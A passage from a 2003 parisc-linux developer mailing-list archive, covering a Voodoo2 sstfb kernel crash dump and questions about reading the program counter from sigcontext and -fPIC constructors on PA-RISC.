User-Agent: KMail/1.5.1
In-Reply-To: <3EA96903.3050808@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18325

--Boundary-00=_t6Vq+MbF0sxL4lc
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Friday 25 April 2003 18:57, Joel Soete wrote:
> >I just tried to test my Voodoo2 card on a C240 machine. I compiled
> > 2.4.20-pa32 and set CONFIG_FB_VOODOO1=m. The compiler was 3.0.4.
> > Unfortunately it crashes when i try to load it. The following messages
> > appear just before it locks up hard: [dump]
>
> It would be also of good help if you try to run the dump_analyser.sh (T.
> Varene) on this 'dump' with your kernel.

Thanks for your reply. I have attached the output of the dump_analyser.

regards,
Arjen Hommersom
--Boundary-00=_t6Vq+MbF0sxL4lc
Content-Type: text/plain;
  charset="iso-8859-1";
  name="dumpoutput.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="dumpoutput.txt"

IAOQ = 10135394
Func: kfree, Off: 34, Addr: 0x10135394
10135390:	00 01 0d 60 	ssm 1,r0
10135394:	35 d3 00 30 	ldo 18(r14),r19
10135398:	4a 63 00 c8 	ldw 64(r19),r3
1013539c:	36 73 00 c8 	ldo 64(r19),r19

GR0 = 00000000

GR1 = 102ad810
Func: vm_table, Off: c, Addr: 0x102ad810
102ad810:	92 e0 b0 64 	cmpiclr,>> 32,r23,r0
102ad814:	34 17 00 64 	ldi 32,r23
102ad818:	8a e6 80 48 	cmpb,>>= r6,r23,102ad844 <tcp_retransmit_timer+0xe4>
102ad81c:	34 05 00 02 	ldi 1,r5

GR2 = 101f5f68
Func: fb_alloc_cmap, Off: 3c, Addr: 0x101f5f68
101f5f60:	eb f8 1d 9c 	b,l 10227e34 <sr_audio_ioctl+0x2b4>,r31
101f5f64:	0b 83 0a 03 	add,l r3,ret0,r3
101f5f68:	08 1d 02 5a 	copy ret1,r26
101f5f6c:	08 ba 0a 1a 	add,l r26,r5,r26

GR3 = 1ebe5ab4

GR4 = 00000000

GR5 = 00000000

GR6 = 00000000

GR7 = 1ebe5800

GR8 = ffffffff

GR9 = 1ec64810

GR10 = 6269745f

GR11 = 1ebaa000

GR12 = 1fdabcc0

GR13 = 1ec64550

GR14 = 000435a8

GR15 = 00042da8

GR16 = 00042da8

GR17 = 00042da8

GR18 = 000521c8

GR19 = 00450192

GR20 = 001f5dce

GR21 = 2bb0e9ab

GR22 = eae3e71d

GR23 = 745f6c6f

GR24 = 00000000

GR25 = 00000000

GR26 = 745f6c6f

GR27 = 10292010
Func: $global$, Off: 0, Addr: 0x10292010
10292010:	6f cd 01 00 	stw,ma r13,80(sp)

GR28 = 0000000f

GR29 = f3000000

GR30 = 1ec64900

GR31 = 101f20d4
Func: pci_write_config_dword, Off: 40, Addr: 0x101f20d4
101f20d0:	0a 98 02 14 	and r24,r20,r20
101f20d4:	34 13 00 80 	ldi 40,r19
101f20d8:	82 93 20 70 	cmpb,= r19,r20,101f2118 <set_geometry_intr+0x70>
101f20dc:	34 1c 00 00 	ldi 0,ret0

Kernel symbols on the stack:
[<10159e6c>]: Func: seq_read, Off: 318, Addr: 0x10159e6c
[<0003242c>]: 
[<0003556c>]: 
[<00032adc>]: 
[<000355cc>]: 
[<0003556c>]: 
[<00034fee>]: 
[<00034940>]: 
[<00034fb4>]: 
[<0003556c>]: 
[<000355a4>]: 
[<101f1ac8>]: Func: pci_announce_device, Off: 60, Addr: 0x101f1ac8
[<000355a4>]: 
[<101f1b90>]: Func: pci_register_driver, Off: 98, Addr: 0x101f1b90
[<000355a4>]: 
[<000345c8>]: 
[<1011cff0>]: Func: sys_init_module, Off: 640, Addr: 0x1011cff0
[<101049fc>]: Func: handle_interruption, Off: 150, Addr: 0x101049fc
[<00032060>]: 
[<10109f90>]: Func: syscall_exit, Off: 0, Addr: 0x10109f90
[<0002b800>]: 
[<10109084>]: Func: intr_check_sig, Off: 0, Addr: 0x10109084
[<10108cf4>]: Func: _switch_to_ret, Off: 0, Addr: 0x10108cf4
[<1013eaac>]: Func: chrdev_open, Off: 54, Addr: 0x1013eaac
[<1013d610>]: Func: dentry_open, Off: 1e8, Addr: 0x1013d610
[<1014db28>]: Func: locate_fd, Off: 88, Addr: 0x1014db28
[<1011f77c>]: Func: it_real_fn, Off: 0, Addr: 0x1011f77c

Done.

--Boundary-00=_t6Vq+MbF0sxL4lc--



From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Boehm, Hans" <hans_boehm@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Program counter from sigcontext, constructurs and -fPIC
Date: Fri, 25 Apr 2003 10:46:42 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <75A9FEBA25015040A761C1F74975667D0144204D@hplex4.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622408 24912 80.91.229.3 (22 Nov 2014 02:13:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:28 +0000 (UTC)
Cc: "'Hans.Boehm@hp.com'" <Hans.Boehm@hp.com>
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 25 11:46:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BE0E4832
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 11:46:47 -0600 (MDT)
Original-Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33])
	by palrel11.hp.com (Postfix) with ESMTP id D864C1C01142
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 10:46:46 -0700 (PDT)
Original-Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182])
	by hplms2.hpl.hp.com (8.12.9/8.12.9/HPL-PA Hub) with SMTP id h3PHkji0005349;
	Fri, 25 Apr 2003 10:46:46 -0700 (PDT)
Original-Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Fri, 25 Apr 2003 10:46:45 -0700
Original-Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19)
	id <2K0BW4AZ>; Fri, 25 Apr 2003 10:46:45 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18326

I have two questions arising from an attempt to port some profiling code to pa-risc.  Grant Grundler suggested I ask here.

1) I need to retrieve the pc value from the sigcontext structure passed to a timer signal handler.  In an earlier message, Paul Bame pointed me at sc_iaoq.  After a bit more reading, my conclusion was that sc_iaoq[0] should be a reasonable value to use as a sampled pc.  However I have been unable to see anything reasonable in that slot (or sc_iaoq[1] for that matter).  Presumably a struct sigcontext pointer is always passed as the third parameter to a signal handler?  And it's filled in for timer interrrupts?  What does profil() do?  (I tried to read the code, but it's hard to trace through all the configuration stuff.)

2) If I mark a C function as a constructor function, and compile it with -fPIC, it seems to run before globals are properly accessible.  The retrieval of the address of a global through the global offset table seems to return a bad address and the access faults.  Are there known issues in this area?  (The offending function actually ends up in the main program, if that matters.)

Please cc: me in the reply.

Thanks.

Hans


From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sstfb crash
Date: Fri, 25 Apr 2003 18:19:35 +0000
Lines: 159
Approved: news@gmane.org
Message-ID: <3EA97C37.5010403@tiscali.be>
References: <200304251408.39242.arjenh@chello.nl> <3EA96903.3050808@tiscali.be> <200304251813.33948.arjenh@chello.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622408 24914 80.91.229.3 (22 Nov 2014 02:13:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arjen Hommersom <arjenh@chello.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 25 12:06:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BFB94837
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 12:06:51 -0600 (MDT)
Original-Received: from mail by smtp-out.tiscali.be with dcc (Tiscali) 
	id 1997az-0004po-00; Fri, 25 Apr 2003 20:06:50 +0200
Original-Received: from [62.235.174.185] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 1997ay-0004oG-00; Fri, 25 Apr 2003 20:06:48 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030327 Debian/1.3-4
X-Accept-Language: en
In-Reply-To: <200304251813.33948.arjenh@chello.nl>
X-DCC-Rhyolite-Metrics: spm2 101; Body=3 Fuz1=3 Fuz2=3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18327

Arjen Hommersom wrote:

>On Friday 25 April 2003 18:57, Joel Soete wrote:
>  
>
>>>I just tried to test my Voodoo2 card on a C240 machine. I compiled
>>>2.4.20-pa32 and set CONFIG_FB_VOODOO1=m. The compiler was 3.0.4.
>>>Unfortunately it crashes when i try to load it. The following messages
>>>appear just before it locks up hard: [dump]
>>>      
>>>
>>It would be also of good help if you try to run the dump_analyser.sh (T.
>>Varene) on this 'dump' with your kernel.
>>    
>>
>
>Thanks for your reply. I have attached the output of the dump_analyser.
>
>regards,
>Arjen Hommersom
>
>------------------------------------------------------------------------
>
Interesting, isn't it :)

>IAOQ = 10135394
>Func: kfree, Off: 34, Addr: 0x10135394
>
here is the kernel function which made panic kernel. (why? we need 
expert help)

>10135390:	00 01 0d 60 	ssm 1,r0
>10135394:	35 d3 00 30 	ldo 18(r14),r19
>10135398:	4a 63 00 c8 	ldw 64(r19),r3
>1013539c:	36 73 00 c8 	ldo 64(r19),r19
>
>GR0 = 00000000
>
>GR1 = 102ad810
>Func: vm_table, Off: c, Addr: 0x102ad810
>102ad810:	92 e0 b0 64 	cmpiclr,>> 32,r23,r0
>102ad814:	34 17 00 64 	ldi 32,r23
>102ad818:	8a e6 80 48 	cmpb,>>= r6,r23,102ad844 <tcp_retransmit_timer+0xe4>
>102ad81c:	34 05 00 02 	ldi 1,r5
>
>GR2 = 101f5f68
>Func: fb_alloc_cmap, Off: 3c, Addr: 0x101f5f68
>101f5f60:	eb f8 1d 9c 	b,l 10227e34 <sr_audio_ioctl+0x2b4>,r31
>101f5f64:	0b 83 0a 03 	add,l r3,ret0,r3
>101f5f68:	08 1d 02 5a 	copy ret1,r26
>101f5f6c:	08 ba 0a 1a 	add,l r26,r5,r26
>
>GR3 = 1ebe5ab4
>
>GR4 = 00000000
>
>GR5 = 00000000
>
>GR6 = 00000000
>
>GR7 = 1ebe5800
>
>GR8 = ffffffff
>
>GR9 = 1ec64810
>
>GR10 = 6269745f
>
>GR11 = 1ebaa000
>
>GR12 = 1fdabcc0
>
>GR13 = 1ec64550
>
>GR14 = 000435a8
>
>GR15 = 00042da8
>
>GR16 = 00042da8
>
>GR17 = 00042da8
>
>GR18 = 000521c8
>
>GR19 = 00450192
>
>GR20 = 001f5dce
>
>GR21 = 2bb0e9ab
>
>GR22 = eae3e71d
>
>GR23 = 745f6c6f
>
>GR24 = 00000000
>
>GR25 = 00000000
>
>GR26 = 745f6c6f
>
>GR27 = 10292010
>Func: $global$, Off: 0, Addr: 0x10292010
>10292010:	6f cd 01 00 	stw,ma r13,80(sp)
>
>GR28 = 0000000f
>
>GR29 = f3000000
>
>GR30 = 1ec64900
>
>GR31 = 101f20d4
>Func: pci_write_config_dword, Off: 40, Addr: 0x101f20d4
>
iirc this is the calling function

>101f20d0:	0a 98 02 14 	and r24,r20,r20
>101f20d4:	34 13 00 80 	ldi 40,r19
>101f20d8:	82 93 20 70 	cmpb,= r19,r20,101f2118 <set_geometry_intr+0x70>
>101f20dc:	34 1c 00 00 	ldi 0,ret0
>
>Kernel symbols on the stack:
>[<10159e6c>]: Func: seq_read, Off: 318, Addr: 0x10159e6c
>[<0003242c>]: 
>[<0003556c>]: 
>[<00032adc>]: 
>[<000355cc>]: 
>[<0003556c>]: 
>[<00034fee>]: 
>[<00034940>]: 
>[<00034fb4>]: 
>[<0003556c>]: 
>[<000355a4>]: 
>[<101f1ac8>]: Func: pci_announce_device, Off: 60, Addr: 0x101f1ac8
>[<000355a4>]: 
>[<101f1b90>]: Func: pci_register_driver, Off: 98, Addr: 0x101f1b90
>[<000355a4>]: 
>[<000345c8>]: 
>[<1011cff0>]: Func: sys_init_module, Off: 640, Addr: 0x1011cff0
>[<101049fc>]: Func: handle_interruption, Off: 150, Addr: 0x101049fc
>[<00032060>]: 
>[<10109f90>]: Func: syscall_exit, Off: 0, Addr: 0x10109f90
>[<0002b800>]: 
>[<10109084>]: Func: intr_check_sig, Off: 0, Addr: 0x10109084
>[<10108cf4>]: Func: _switch_to_ret, Off: 0, Addr: 0x10108cf4
>[<1013eaac>]: Func: chrdev_open, Off: 54, Addr: 0x1013eaac
>[<1013d610>]: Func: dentry_open, Off: 1e8, Addr: 0x1013d610
>[<1014db28>]: Func: locate_fd, Off: 88, Addr: 0x1014db28
>[<1011f77c>]: Func: it_real_fn, Off: 0, Addr: 0x1011f77c
>
>Done.
>  
>
I will be interested by expert analyse.

Sorry to not be helpfull,
    Joel




From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructurs and -fPIC
Date: Fri, 25 Apr 2003 14:54:14 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20030425185414.GD32717@systemhalted>
References: <75A9FEBA25015040A761C1F74975667D0144204D@hplex4.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622408 24916 80.91.229.3 (22 Nov 2014 02:13:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:28 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Boehm, Hans" <hans_boehm@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 25 12:53:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com (fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id D40364839
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 12:53:24 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.68])
          by fep04-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030425185322.DCWI15029.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Fri, 25 Apr 2003 14:53:22 -0400
Content-Disposition: inline
In-Reply-To: <75A9FEBA25015040A761C1F74975667D0144204D@hplex4.hpl.hp.com>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (91% Sync Ratio [=========.])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep04-mail.bloor.is.net.cable.rogers.com from [24.112.227.68] using ID <patofiero@rogers.com> at Fri, 25 Apr 2003 14:53:22 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18328

Hans,

What code are you porting? :)

> 1) I need to retrieve the pc value from the sigcontext structure passed to a timer signal handler.  In an earlier message, Paul Bame pointed me at sc_iaoq.  After a bit more reading, my conclusion was that sc_iaoq[0] should be a reasonable value to use as a sampled pc.  However I have been unable to see anything reasonable in that slot (or sc_iaoq[1] for that matter).  Presumably a struct sigcontext pointer is always passed as the third parameter to a signal handler?  And it's filled in for timer interrrupts?  What does profil() do?  (I tried to read the code, but it's hard to trace through all the configuration stuff.)

A. What kernel are you using?
 
The reason I ask is that 64-bit kernels return broken sigcontext
pointers (for now it stuffs 64-bit values into a 32-bit values within
the sigcontext, rather it should take into account the fact that
userspace or the calling threads personality is 32-bit and truncate the
register values).

What is there to understand about profil()? Based on your PC it uses
modular arithmetic (the shift, scale, and division) to track on a coarse
scale which parts of your code are being executed.

> 2) If I mark a C function as a constructor function, and compile it with -fPIC, it seems to run before globals are properly accessible.  The retrieval of the address of a global through the global offset table seems to return a bad address and the access faults.  Are there known issues in this area?  (The offending function actually ends up in the main program, if that matters.)

B. Can we see the code?

c.



From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Boehm, Hans" <hans_boehm@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Program counter from sigcontext, constructurs 
	and -fPIC
Date: Fri, 25 Apr 2003 12:40:00 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <75A9FEBA25015040A761C1F74975667D01442051@hplex4.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622409 24921 80.91.229.3 (22 Nov 2014 02:13:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:29 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>,
	"Boehm, Hans" <hans_boehm@hp.com>
To: "'Carlos O'Donell'" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 25 13:40:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB5724829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 13:40:06 -0600 (MDT)
Original-Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33])
	by palrel11.hp.com (Postfix) with ESMTP
	id 5F4711C0272D; Fri, 25 Apr 2003 12:40:06 -0700 (PDT)
Original-Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182])
	by hplms2.hpl.hp.com (8.12.9/8.12.9/HPL-PA Hub) with SMTP id h3PJe5i0015135;
	Fri, 25 Apr 2003 12:40:05 -0700 (PDT)
Original-Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Fri, 25 Apr 2003 12:40:05 -0700
Original-Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19)
	id <2K0BWV95>; Fri, 25 Apr 2003 12:40:04 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18329

> -----Original Message-----
> From: Carlos O'Donell [mailto:carlos@baldric.uwo.ca]
> 
> Hans,
> 
> What code are you porting? :)
It's a new, currently rather simple, but thread-compatible, purely user-level, profiler.  It includes some infrastructure for using hardware atomic operations in reasonably portable ways.  Need less to say, PA-RISC makes a wonderful test case.
> 
> > 1) I need to retrieve the pc value from the sigcontext 
> structure passed to a timer signal handler.  In an earlier 
> message, Paul Bame pointed me at sc_iaoq.  After a bit more 
> reading, my conclusion was that sc_iaoq[0] should be a 
> reasonable value to use as a sampled pc.  However I have been 
> unable to see anything reasonable in that slot (or sc_iaoq[1] 
> for that matter).  Presumably a struct sigcontext pointer is 
> always passed as the third parameter to a signal handler?  
> And it's filled in for timer interrrupts?  What does profil() 
> do?  (I tried to read the code, but it's hard to trace 
> through all the configuration stuff.)
> 
> A. What kernel are you using?
2.4.17-64 on spe170.testdrive.hp.com.
>  
> The reason I ask is that 64-bit kernels return broken sigcontext
> pointers (for now it stuffs 64-bit values into a 32-bit values within
> the sigcontext, rather it should take into account the fact that
> userspace or the calling threads personality is 32-bit and 
> truncate the
> register values).
It sounds like that's the problem here.  Thanks.  
> 
> What is there to understand about profil()? Based on your PC it uses
> modular arithmetic (the shift, scale, and division) to track 
> on a coarse
> scale which parts of your code are being executed.
Once you get the PC in the signal handler, that's easy.  It sounds like getting the PC from a signal handler from a 32-bit executable on a 64-bit kernel is currently impossible?  I should probably focus on 64-bit executables?  Or does profil() have a way to get around the problem?
> 
> > 2) If I mark a C function as a constructor function, and 
> compile it with -fPIC, it seems to run before globals are 
> properly accessible.  The retrieval of the address of a 
> global through the global offset table seems to return a bad 
> address and the access faults.  Are there known issues in 
> this area?  (The offending function actually ends up in the 
> main program, if that matters.)
> 
> B. Can we see the code?
> 
I haven't officially released it, since I wanted to make sure it at least passed its tests on HP Linux platforms.  I do have permission to release it, so I put a preliminary snapshot at http://hpl.hp.com/personal/Hans_Boehm/qprof/qprof-0.2.tar.gz (probably not its final location).

I believe "make check" works on X86/Itanium/Alpha, but not PA.  (Feedback on the code itself is of course also gratefully accepted.)  The only problem on PA should be running qprof_test.

Thanks.

Hans


From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructurs
Date: Fri, 25 Apr 2003 15:56:27 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200304251956.h3PJuR6v013809@hiauly1.hia.nrc.ca>
References: <75A9FEBA25015040A761C1F74975667D01442051@hplex4.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622409 24923 80.91.229.3 (22 Nov 2014 02:13:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:29 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org,
	hans_boehm@hp.com
To: hans_boehm@hp.com (Boehm, Hans)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 25 13:56:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39359483B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 13:56:35 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h3PJuSK1013811;
	Fri, 25 Apr 2003 15:56:28 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h3PJuR6v013809;
	Fri, 25 Apr 2003 15:56:27 -0400 (EDT)
In-Reply-To: <75A9FEBA25015040A761C1F74975667D01442051@hplex4.hpl.hp.com> from "Boehm, Hans" at Apr 25, 2003 12:40:00 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18330

> > > 2) If I mark a C function as a constructor function, and 
> > compile it with -fPIC, it seems to run before globals are 
> > properly accessible.  The retrieval of the address of a 
> > global through the global offset table seems to return a bad 
> > address and the access faults.  Are there known issues in 
> > this area?  (The offending function actually ends up in the 
> > main program, if that matters.)

I'm not aware of any.  All the libstdc++ test pass and this involves
running constructors in a shared library, so it would seem the PIC
register and got table must be setup.  Function pointer canonicalization
